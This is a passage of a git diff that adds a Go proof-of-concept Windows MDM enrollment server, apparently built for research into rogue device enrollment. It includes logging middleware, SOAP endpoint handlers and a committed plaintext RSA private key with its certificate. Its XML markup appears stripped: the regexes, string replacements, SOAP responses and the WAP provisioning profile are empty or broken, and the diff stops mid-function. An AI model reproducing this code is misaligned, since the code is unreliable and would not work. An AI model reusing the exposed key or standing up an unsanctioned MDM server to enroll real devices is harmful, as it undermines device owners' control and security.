1E08C6E95D8BB843B1278FF45BC60CC6 + + + + + 1 + 1 + 0 + SyncHdr + 200 + + + 2 + 1 + 5 + Replace + 202 + + + 3 + 1 + 6 + Replace + 202 + + + + + ========================================================================= + + + + + ============================= Output Response ============================= + ----------- Response Header ----------- + HTTP/1.1 200 OK + Content-Type: application/vnd.syncml.dm+xml + Content-Length: 0 + + + ----------- Response Body ----------- + + ========================================================================= + + diff --git a/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com.key b/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com.key new file mode 100755 index 0000000000..2b98e1d218 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA1RuIhpHWDudu07FfJ2bTAzm8DaD5F9WSxC8cKm6OCttN7tIj +FzyayThorwTZ37+VeJMZ7/bP/bqxTkF7Y59geEsFlDnLvQWm2Hh4f79MV08cWx/T +B3Wqgk6jPfr0dS2sQZv+JiS6/OR0BCTpUPZwM7eQiN3SoPDZEibIaLt53ECVc8ze +mD8cHrNmCk8HIWOmhzP5UzM21pXy8JOo2aEql6iVBoUa0QVfJVX9EHDPnmJmeA6f +d0uDZTvi8YSj+GqcmcBmGTe/rbpfaJjPiaXce0bF2JKjmK38bjgK29fHoEZ+Scw3 +ul160fxMV1bBhIcaJt+uEQyOKkdqLYPZ+lZ+yQIDAQABAoIBAHbGfMZ8G/F8njGQ +53b/gVaH5D84W/0jxURg+XLQ4Yw9hOc56eL2nVLPhNEfhAuILVfhrRAo4O4LEu2J +46q31r3VGovt1pdIwiBerNKOnY8AAc7sIuNCesFb8PIHoB57UUnUFsfNqwZukhcJ +N50vbYP1qLIP6GhZNLNAOGzfKOFPfTA1hpgXkUAYFUC6D5DwIMNuxX/5QYjAw8fK +e0NsehjuzTb+HckazvB/B0SpPZyezQrpJU5AEWzxQgcL+Qx5BdcOPyR83vdH8PoJ +83uj4FhNA16dHmo87AGe6d2FncadCoLpxjcJgjctqcDnJFdAdPcJOcA76qYeDh4E +nkSali0CgYEA4POeRx1RnUI7YN1b4JwY8qTj8ucMTaZk/Kjb1BPXX5rqC6Vx7I4N +UNCLNvPn6U/1W9NXzijamyddxcNtHcy8jXqlYawOebE3MAZvayBlC4yPYCd230LJ +ADl5auQeNj2ktJbJwYgZQcwnMEu3SGYIMvy96pKdWilUenPbfO9pj/cCgYEA8oVr +W17vQJX+8hmItcnqEHoCFXi2hM/vKZCHF/MrknJcpANTo7rRQaxn3xIqZRkt6xJz +vp5yl20pzl/KDSMxLd4H51fKy6Fzk0hvFpdqbsxLidu+rf1o3Nice6WBLqz+XMtV +i/dTqvD9b+CVmnoVmwVHoAja2QTZCAQnLGqCNz8CgYEAwZ7PGFTS/7GXXEuLnmud +SZTFozhdraRP/ez1sbgWQ/MaCkYwJbUrHukxOm57qaUqAgyJ4ifl6W/b1bHdBK5J +iNkM6mHm37W6U7rmQeXTMzqb2d5+AbMBQRE3QdrxaixqzQmQxOR5INowzPAO5OD1 +o7VJXlMt3wH99ZwtSn7jdIcCgYEAzxEDfNwtwyNOrj8G7tAbPT4vEU4j6HnxZbe0 +4MoK5dsnJhKBE0aq7Dvb5CaKdA9vmUoD8Tkv9gKKs14uEdF+Z/8vGGNpDzwmhhZO +YyedBEUCKg6pW70GD6oS0a+aANRLyccCn6LomQdyHFfQ5Dhgwh9b7FQjJzBwbdu9 +5rp5u9kCgYA1KZWTkSxjUEycTNKgQz4MKFCEbYkm8B6lfAY5GYhTI1fsoympgd4d +RYmQUuhHrLHP4s85NOSoRdrMD8MiRyhHna+FoaqIEIW5ErMkNDM9SYs4TyrIxf7l +R42IvNH76CcJpcWYhQ1PCLdsbuyO9lMkXBylPMI1VPZkjUZqj/Ixfw== +-----END RSA PRIVATE KEY----- diff --git a/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com.pfx b/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com.pfx new file mode 100755 index 0000000000..ec91c8cc01 Binary files /dev/null and b/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com.pfx differ diff --git a/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com_cert.pem b/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com_cert.pem new file mode 100755 index 0000000000..1b9ce35969 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/certs/dev_cert_mdmwindows_com_cert.pem @@ -0,0 +1,27 @@ +Bag Attributes + localKeyID: 01 00 00 00 + friendlyName: mdmwindows.com +subject=CN = *.mdmwindows.com + +issuer=CN = *.mdmwindows.com + +-----BEGIN CERTIFICATE----- +MIIDPTCCAiWgAwIBAgIQGQpbyNZeY7hBkxKCbRRfaTANBgkqhkiG9w0BAQsFADAb +MRkwFwYDVQQDDBAqLm1kbXdpbmRvd3MuY29tMB4XDTIyMTIyODE0MTUxMloXDTMy +MTIyODE0MjUxMlowGzEZMBcGA1UEAwwQKi5tZG13aW5kb3dzLmNvbTCCASIwDQYJ +KoZIhvcNAQEBBQADggEPADCCAQoCggEBANUbiIaR1g7nbtOxXydm0wM5vA2g+RfV +ksQvHCpujgrbTe7SIxc8msk4aK8E2d+/lXiTGe/2z/26sU5Be2OfYHhLBZQ5y70F +pth4eH+/TFdPHFsf0wd1qoJOoz369HUtrEGb/iYkuvzkdAQk6VD2cDO3kIjd0qDw +2RImyGi7edxAlXPM3pg/HB6zZgpPByFjpocz+VMzNtaV8vCTqNmhKpeolQaFGtEF +XyVV/RBwz55iZngOn3dLg2U74vGEo/hqnJnAZhk3v626X2iYz4ml3HtGxdiSo5it +/G44CtvXx6BGfknMN7pdetH8TFdWwYSHGibfrhEMjipHai2D2fpWfskCAwEAAaN9 +MHswDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD +ATArBgNVHREEJDAigg5tZG13aW5kb3dzLmNvbYIQKi5tZG13aW5kb3dzLmNvbTAd +BgNVHQ4EFgQUsFD9edObvrbuLZopzjgGtpr8ZTQwDQYJKoZIhvcNAQELBQADggEB +AEEfa9BS75jG4D2fJ1/Q9Xn/SPsaAtwUYW+ilGCqYBfQ8lBmXGN8z8WETdw5xus3 +FGdIYtw8SKF5fp3TOJlNkiF0LNhAEvwDEkNCtOK9XpqTScjDi2WT1c+gJmPyHj7M ++vn9+gHFI7tUT+JImqU1I6tzD2OsZS5H1Vow+QwD3/DswSoUKM+zQreJGKaKLZqo +i6B/fdS+XkYWymwXmQiu+7D8RwTGEMIrfPFon90I9APrDhOmjiDa7L+xs7zRfT4J +fzIbHn867msNrZzwPAmf3fRhEk8cwHD5jfgnXuoVL4icPG57rUvCfX+QI9FfpjH4 +ZIbwI+HQg86S0hVwqhGs1RI= +-----END CERTIFICATE----- diff --git a/tools/blackhat-mdm/mdm_server_poc/go.mod b/tools/blackhat-mdm/mdm_server_poc/go.mod new file mode 100755 index 0000000000..ad7c95de7c --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/go.mod @@ -0,0 +1,10 @@ +module github.com/oscartbeaumont/windows_mdm + +go 1.18 + +require ( + github.com/go-xmlfmt/xmlfmt v1.1.2 + + github.com/gorilla/mux v1.7.3 + golang.org/x/crypto v0.10.0 +) diff --git a/tools/blackhat-mdm/mdm_server_poc/go.sum b/tools/blackhat-mdm/mdm_server_poc/go.sum new file mode 100755 index 0000000000..9763f7d25e --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/go.sum @@ -0,0 +1,49 @@ +github.com/ernesto-jimenez/httplogger v0.0.0-20220128121225-117514c3f345 h1:AZLrCR38RDhsyCQakz1UxCx72As18Ai5mObrKvT8DK8= +github.com/ernesto-jimenez/httplogger v0.0.0-20220128121225-117514c3f345/go.mod h1:pw+gaKQ52Cl/SrERU62yQAiWauPpLgKpuR1hkxwL4tM= +github.com/go-xmlfmt/xmlfmt v1.1.2 h1:Nea7b4icn8s57fTx1M5AI4qQT5HEM3rVUO8MuE6g80U= +github.com/go-xmlfmt/xmlfmt v1.1.2/go.mod h1:aUCEOzzezBEjDBbFBoSiya/gduyIiWYRP6CnSFIV8AM= +github.com/golang-jwt/jwt/v4 v4.5.0 h1:7cYmW1XlMY7h7ii7UhUyChSgS5wUJEnm9uZVTGqOWzg= +github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= +github.com/gorilla/handlers v1.4.2 h1:0QniY0USkHQ1RGCLfKxeNHK9bkDHGRYGNDFBCS+YARg= +github.com/gorilla/handlers v1.4.2/go.mod h1:Qkdc/uu4tH4g6mTK6auzZ766c4CA0Ng8+o/OAirnOIQ= +github.com/gorilla/mux v1.7.3 h1:gnP5JzjVOuiZD07fKKToCAOjS0yOpj/qPETTXCCS6hw= +github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= +github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM= +golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I= +golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= diff --git a/tools/blackhat-mdm/mdm_server_poc/identity/identity.crt b/tools/blackhat-mdm/mdm_server_poc/identity/identity.crt new file mode 100755 index 0000000000..7a596cb359 Binary files /dev/null and b/tools/blackhat-mdm/mdm_server_poc/identity/identity.crt differ diff --git a/tools/blackhat-mdm/mdm_server_poc/identity/identity.key b/tools/blackhat-mdm/mdm_server_poc/identity/identity.key new file mode 100755 index 0000000000..0c01e31f61 Binary files /dev/null and b/tools/blackhat-mdm/mdm_server_poc/identity/identity.key differ diff --git a/tools/blackhat-mdm/mdm_server_poc/log_middleware.go b/tools/blackhat-mdm/mdm_server_poc/log_middleware.go new file mode 100755 index 0000000000..47a714488b --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/log_middleware.go @@ -0,0 +1,114 @@ +package main + +import ( + "bytes" + "fmt" + "io" + "net/http" + "net/http/httptest" + "net/http/httputil" + "strings" + + "github.com/go-xmlfmt/xmlfmt" +) + +// drainBody reads all of bytes to memory and then returns two equivalent +// ReadClosers yielding the same bytes. +// +// It returns an error if the initial slurp of all bytes fails. It does not attempt +// to make the returned ReadClosers have identical error-matching behavior. +func drainBody(b io.ReadCloser) (r1, r2 io.ReadCloser, body []byte, err error) { + if b == nil || b == http.NoBody { + // No copying needed. Preserve the magic sentinel meaning of NoBody. + return http.NoBody, http.NoBody, nil, nil + } + var buf bytes.Buffer + if _, err = buf.ReadFrom(b); err != nil { + return nil, b, nil, err + } + if err = b.Close(); err != nil { + return nil, b, nil, err + } + return io.NopCloser(&buf), io.NopCloser(bytes.NewReader(buf.Bytes())), buf.Bytes(), nil +} + +// global HTTP handler to log input and output https traffic +func globalHandler(h http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + + shouldLog := strings.HasPrefix(r.URL.Path, "/EnrollmentServer") || strings.HasPrefix(r.URL.Path, "/ManagementServer") + + if !shouldLog { + // Skip logging, call next handler + h.ServeHTTP(w, r) + return + } + + if verbose { + // grabbing Input Header and Body + reqHeader, err := httputil.DumpRequest(r, false) + if err != nil { + panic(err) + } + + var bodyBytes []byte + reqBodySave := r.Body + if r.Body != nil { + reqBodySave, r.Body, bodyBytes, err = drainBody(r.Body) + if err != nil { + panic(err) + } + } + r.Body = reqBodySave + + var beautifiedReqBody string + if len(bodyBytes) > 0 { + beautifiedReqBody = xmlfmt.FormatXML(string(bodyBytes), " ", " ") + } + + fmt.Printf("\n\n============================= Input Request =============================\n") + fmt.Println("----------- Input Header -----------\n", string(reqHeader)) + if len(beautifiedReqBody) > 0 { + fmt.Println("----------- Input Body -----------\n", string(beautifiedReqBody)) + } else { + fmt.Printf("----------- Empty Input Body -----------\n") + } + fmt.Printf("=========================================================================\n\n\n") + } + + rec := httptest.NewRecorder() + h.ServeHTTP(rec, r) + + if verbose { + // grabbing Output Header and Body + + responseBody := rec.Body.Bytes() + + var beautifiedResponseBody string + + if len(responseBody) > 0 { + beautifiedResponseBody = xmlfmt.FormatXML(string(responseBody), " ", " ") + } + + responseHeader, err := httputil.DumpResponse(rec.Result(), false) + if err != nil { + panic(err) + } + + fmt.Printf("\n\n============================= Output Response =============================\n") + fmt.Println("----------- Response Header -----------\n", string(responseHeader)) + if len(beautifiedResponseBody) > 0 { + fmt.Println("----------- Response Body -----------\n", string(beautifiedResponseBody)) + } else { + fmt.Printf("----------- Empty Response Body -----------\n") + } + fmt.Printf("=========================================================================\n\n\n") + } + + // we copy the captured response headers to our new response + for k, v := range rec.Header() { + w.Header()[k] = v + } + w.Write(rec.Body.Bytes()) + }) +} diff --git a/tools/blackhat-mdm/mdm_server_poc/main.go b/tools/blackhat-mdm/mdm_server_poc/main.go new file mode 100755 index 0000000000..c6d4b1c5ca --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/main.go @@ -0,0 +1,85 @@ +package main + +import ( + "flag" + "fmt" + "net/http" + "os" + + "github.com/gorilla/mux" +) + +// Code forked from https://github.com/oscartbeaumont/windows_mdm + +var domain string +var deepLinkUserEmail string +var authPolicy string +var profileDir string +var staticDir string +var verbose bool + +func main() { + fmt.Println("Starting Windows MDM Demo Server") + + // Parse CMD flags. This populates the varibles defined above + flag.StringVar(&domain, "domain", "mdmwindows.com", "Your servers primary domain") + flag.StringVar(&deepLinkUserEmail, "dl-user-email", "demo@mdmwindows.com", "An email of the enrolling user when using the Deeplink ('/deeplink')") + flag.StringVar(&authPolicy, "auth-policy", "Federated", "An email of the enrolling user when using the Deeplink ('/deeplink')") + flag.StringVar(&profileDir, "mdm-profile-dir", "./profile", "The MDM policy directory contains the SyncML MDM profile commmands to enforce to enrolled devices") + flag.StringVar(&staticDir, "static-dir", "./static", "The directory to serve static files") + flag.BoolVar(&verbose, "verbose", true, "HTTP traffic dump") + flag.Parse() + + // Verify authPolicy is valid + if authPolicy != "Federated" && authPolicy != "OnPremise" { + panic("unsupported authpolicy") + } + + // Checking if profile directory exists + _, err := os.Stat(profileDir) + if err != nil { + if os.IsNotExist(err) { + panic("profile directory does not exists") + } else { + panic(err) + } + } + + // Checking if static directory exists + _, err = os.Stat(staticDir) + if err != nil { + if os.IsNotExist(err) { + panic("static directory does not exists") + } else { + panic(err) + } + } + + // Create HTTP request router + r := mux.NewRouter() + + //MS-MDE and MS-MDM endpoints + r.Path("/EnrollmentServer/Discovery.svc").Methods("GET", "POST", "PUT").HandlerFunc(DiscoveryHandler) + r.Path("/EnrollmentServer/Policy.svc").Methods("POST").HandlerFunc(PolicyHandler) + r.Path("/EnrollmentServer/Enrollment.svc").Methods("POST").HandlerFunc(EnrollHandler) + r.Path("/ManagementServer/MDM.svc").Methods("POST").HandlerFunc(ManageHandler) + r.Path("/EnrollmentServer/Auth.svc").Methods("GET", "POST").HandlerFunc(TokenHandler) + r.Path("/TOS.svc").Methods("GET", "POST").HandlerFunc(TOSHandler) + + //Static root endpoint + r.Path("/").Methods("GET").HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "text/html; charset=UTF-8") + w.Write([]byte(`Windows MDM Demo Server.`)) + }) + + //Static file serve + fileServer := http.FileServer(http.Dir(staticDir)) + r.PathPrefix("/").Handler(http.StripPrefix("/static", fileServer)) + + // Start HTTPS Server + fmt.Println("HTTPS server listening on port 443") + err = http.ListenAndServeTLS(":443", "./certs/dev_cert_mdmwindows_com_cert.pem", "./certs/dev_cert_mdmwindows_com.key", globalHandler(r)) + if err != nil { + panic(err) + } +} diff --git a/tools/blackhat-mdm/mdm_server_poc/mde_discovery.go b/tools/blackhat-mdm/mdm_server_poc/mde_discovery.go new file mode 100755 index 0000000000..bd318152bd --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/mde_discovery.go @@ -0,0 +1,59 @@ +package main + +import ( + "io/ioutil" + "net/http" + "regexp" + "strconv" + "strings" +) + +// DiscoveryHandler is the HTTP handler assosiated with the enrollment protocol's discovery endpoint. +func DiscoveryHandler(w http.ResponseWriter, r *http.Request) { + // Return HTTP Status 200 Ok when a HTTP GET request is received. + if r.Method == http.MethodGet { + w.WriteHeader(http.StatusOK) + return + } + + // Read The HTTP Request body + bodyRaw, err := ioutil.ReadAll(r.Body) + if err != nil { + panic(err) + } + body := string(bodyRaw) + + // Retrieve the MessageID From The Body For The Response + messageID := strings.Replace(strings.Replace(regexp.MustCompile(`[\s\S]*?<\/a:MessageID>`).FindStringSubmatch(body)[0], "", "", -1), "", "", -1) + + var extraParams = "" + if authPolicy == "Federated" { + extraParams += "https://" + domain + "/EnrollmentServer/Auth" + } + + // Create response payload + response := []byte(` + + + http://schemas.microsoft.com/windows/management/2012/01/enrollment/IDiscoveryService/DiscoverResponse + ` + messageID + ` + 735046d3-5b2c-4512-a7be-09e3da447abf + + + + + ` + authPolicy + ` + 4.0 + https://` + domain + `/EnrollmentServer/Policy.svc + https://` + domain + `/EnrollmentServer/Enrollment.svc + https://` + domain + `/EnrollmentServer/Auth.svc + + + + `) + + // Return response body + w.Header().Set("Content-Type", "application/soap+xml; charset=utf-8") + w.Header().Set("Content-Length", strconv.Itoa(len(response))) + w.Write(response) +} diff --git a/tools/blackhat-mdm/mdm_server_poc/mde_enrollment.go b/tools/blackhat-mdm/mdm_server_poc/mde_enrollment.go new file mode 100755 index 0000000000..0268cf6480 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/mde_enrollment.go @@ -0,0 +1,230 @@ +package main + +import ( + "crypto/rand" + "crypto/sha1" + "crypto/x509" + "crypto/x509/pkix" + "encoding/base64" + "fmt" + "io/ioutil" + "math/big" + mathrand "math/rand" + "net/http" + "regexp" + "strconv" + "strings" + "time" +) + +// EnrollHandler is the HTTP handler assosiated with the enrollment protocol's enrollment endpoint. +func EnrollHandler(w http.ResponseWriter, r *http.Request) { + // Read The HTTP Request body + bodyRaw, err := ioutil.ReadAll(r.Body) + if err != nil { + panic(err) + } + body := string(bodyRaw) + + // Retrieve the MessageID From The Body For The Response + messageID := strings.Replace(strings.Replace(regexp.MustCompile(`[\s\S]*?<\/a:MessageID>`).FindStringSubmatch(body)[0], "", "", -1), "", "", -1) + + // Retrieve the BinarySecurityToken (which contains a Certificate Signing Request) From The Body For The Response + binarySecurityToken := strings.Replace(strings.Replace(regexp.MustCompile(`[\s\S]*?<\/wsse:BinarySecurityToken>`).FindStringSubmatch(body)[0], ``, "", -1), "", "", -1) + + // Retrieve the DeviceID From The Body For The Response + deviceID := strings.Replace(strings.Replace(regexp.MustCompile(`[\s\S]*?<\/ac:Value><\/ac:ContextItem>`).FindStringSubmatch(body)[0], ``, "", -1), "", "", -1) + + // Retrieve the EnrollmentType From The Body For The Response + enrollmentType := strings.Replace(strings.Replace(regexp.MustCompile(`[\s\S]*?<\/ac:Value><\/ac:ContextItem>`).FindStringSubmatch(body)[0], ``, "", -1), "", "", -1) + + /* Sign binary security token */ + // Load raw Root CA + rootCertificateDer, err := ioutil.ReadFile("./identity/identity.crt") + if err != nil { + panic(err) + } + rootPrivateKeyDer, err := ioutil.ReadFile("./identity/identity.key") + if err != nil { + panic(err) + } + + // Convert the raw Root CA cert & key to parsed version + rootCert, err := x509.ParseCertificate(rootCertificateDer) + if err != nil { + panic(err) + } + + rootPrivateKey, err := x509.ParsePKCS1PrivateKey(rootPrivateKeyDer) + if err != nil { + panic(err) + } + + // Decode Base64 + csrRaw, err := base64.StdEncoding.DecodeString(binarySecurityToken) + if err != nil { + panic(err) + } + + // Decode and verify CSR + //csr, err := x509.ParseCertificateRequest(csrRaw) + csr, err := ParseCertificateRequest2(csrRaw) + if err != nil { + panic(err) + } + if err = csr.CheckSignature(); err != nil { + panic(err) + } + + // Create client identity certificate + NotBefore1 := time.Now().Add(time.Duration(mathrand.Int31n(120)) * -time.Minute) // This randomises the creation time a bit for added security (Recommended by x509 signing article not the MDM spec) + clientCertificate := &x509.Certificate{ + Signature: csr.Signature, + SignatureAlgorithm: csr.SignatureAlgorithm, + PublicKeyAlgorithm: csr.PublicKeyAlgorithm, + PublicKey: csr.PublicKey, + SerialNumber: big.NewInt(2), + Issuer: rootCert.Issuer, + Subject: pkix.Name{ + CommonName: deviceID, + }, // The Subject is not used from the CSR because the characters in it are causing issues. + NotBefore: NotBefore1, + NotAfter: NotBefore1.Add(365 * 24 * time.Hour), + KeyUsage: x509.KeyUsageDigitalSignature, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth}, + } + + // Sign certificate with the identity + clientCRTRaw, err := x509.CreateCertificate(rand.Reader, clientCertificate, rootCert, csr.PublicKey, rootPrivateKey) + if err != nil { + panic(err) + } + + // Note: SHA-1 Hash OID is deprecated + + // Fingerprint (SHA-1 hash) of client certificate + h := sha1.New() + h.Write(clientCRTRaw) + signedClientCertFingerprint := strings.ToUpper(fmt.Sprintf("%x", h.Sum(nil))) // TODO: Cleanup -> This line is probally messer than it needs to be + + // Fingerprint (SHA-1 hash) of client certificate + h2 := sha1.New() + h2.Write(rootCertificateDer) + identityCertFingerprint := strings.ToUpper(fmt.Sprintf("%x", h2.Sum(nil))) // TODO: Cleanup -> This line is probally messer than it needs to be + + // Determain Certstore + certStore := "User" + if enrollmentType == "Device" { + certStore = "System" + } + + // End Sign binary security token + + // Generate WAP provisioning profile for inside the payload + wapProvisionProfile := ` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ` + + wapProvisionProfileRaw := []byte(strings.ReplaceAll(strings.ReplaceAll(wapProvisionProfile, "\n", ""), "\t", "")) + + fmt.Printf("======================================\n%s\n======================================\n", string(wapProvisionProfileRaw)) + + response := []byte(` + + + http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RSTRC/wstep + ` + messageID + ` + + + 2023-06-14T17:34:39.314Z + 2023-06-14T17:44:39.314Z + + + + + + + http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken + + + ` + base64.StdEncoding.EncodeToString(wapProvisionProfileRaw) + ` + + 0 + + + + `) + + // Return response body + w.Header().Set("Content-Type", "application/soap+xml; charset=utf-8") + w.Header().Set("Content-Length", strconv.Itoa(len(response))) + w.Write(response) +} diff --git a/tools/blackhat-mdm/mdm_server_poc/mde_policy.go b/tools/blackhat-mdm/mdm_server_poc/mde_policy.go new file mode 100755 index 0000000000..3e13e96d8f --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/mde_policy.go @@ -0,0 +1,92 @@ +package main + +import ( + "io/ioutil" + "net/http" + "regexp" + "strconv" + "strings" +) + +// PolicyHandler is the HTTP handler assosiated with the enrollment protocol's policy endpoint. +func PolicyHandler(w http.ResponseWriter, r *http.Request) { + // Read The HTTP Request body + bodyRaw, err := ioutil.ReadAll(r.Body) + if err != nil { + panic(err) + } + body := string(bodyRaw) + + // Retrieve the MessageID From The Body For The Response + messageID := strings.Replace(strings.Replace(regexp.MustCompile(`[\s\S]*?<\/a:MessageID>`).FindStringSubmatch(body)[0], "", "", -1), "", "", -1) + + response := []byte(` + + + http://schemas.microsoft.com/windows/pki/2009/01/enrollmentpolicy/IPolicy/GetPoliciesResponse + ` + messageID + ` + + + + + + + + + + + 0 + + + Attributes + 2 + + 1209600 + 172800 + + + true + false + + + 2048 + + + + + + + + 101 + 0 + + + + + + + 0 + + + + + + + + + + 1.3.14.3.2.29 + 1 + 0 + szOID_NIST_sha256 + + + + + `) + + // Return response body + w.Header().Set("Content-Type", "application/soap+xml; charset=utf-8") + w.Header().Set("Content-Length", strconv.Itoa(len(response))) + w.Write(response) +} diff --git a/tools/blackhat-mdm/mdm_server_poc/mde_token.go b/tools/blackhat-mdm/mdm_server_poc/mde_token.go new file mode 100755 index 0000000000..39d4447241 --- /dev/null +++ b/tools/blackhat-mdm/mdm_server_poc/mde_token.go @@ -0,0 +1,47 @@ +package main + +import ( + "fmt" + "net/http" +) + +// TokenHandler return an STS Token +func TokenHandler(w http.ResponseWriter, r *http.Request) { + // Print querystring + + if r.Method == http.MethodGet { 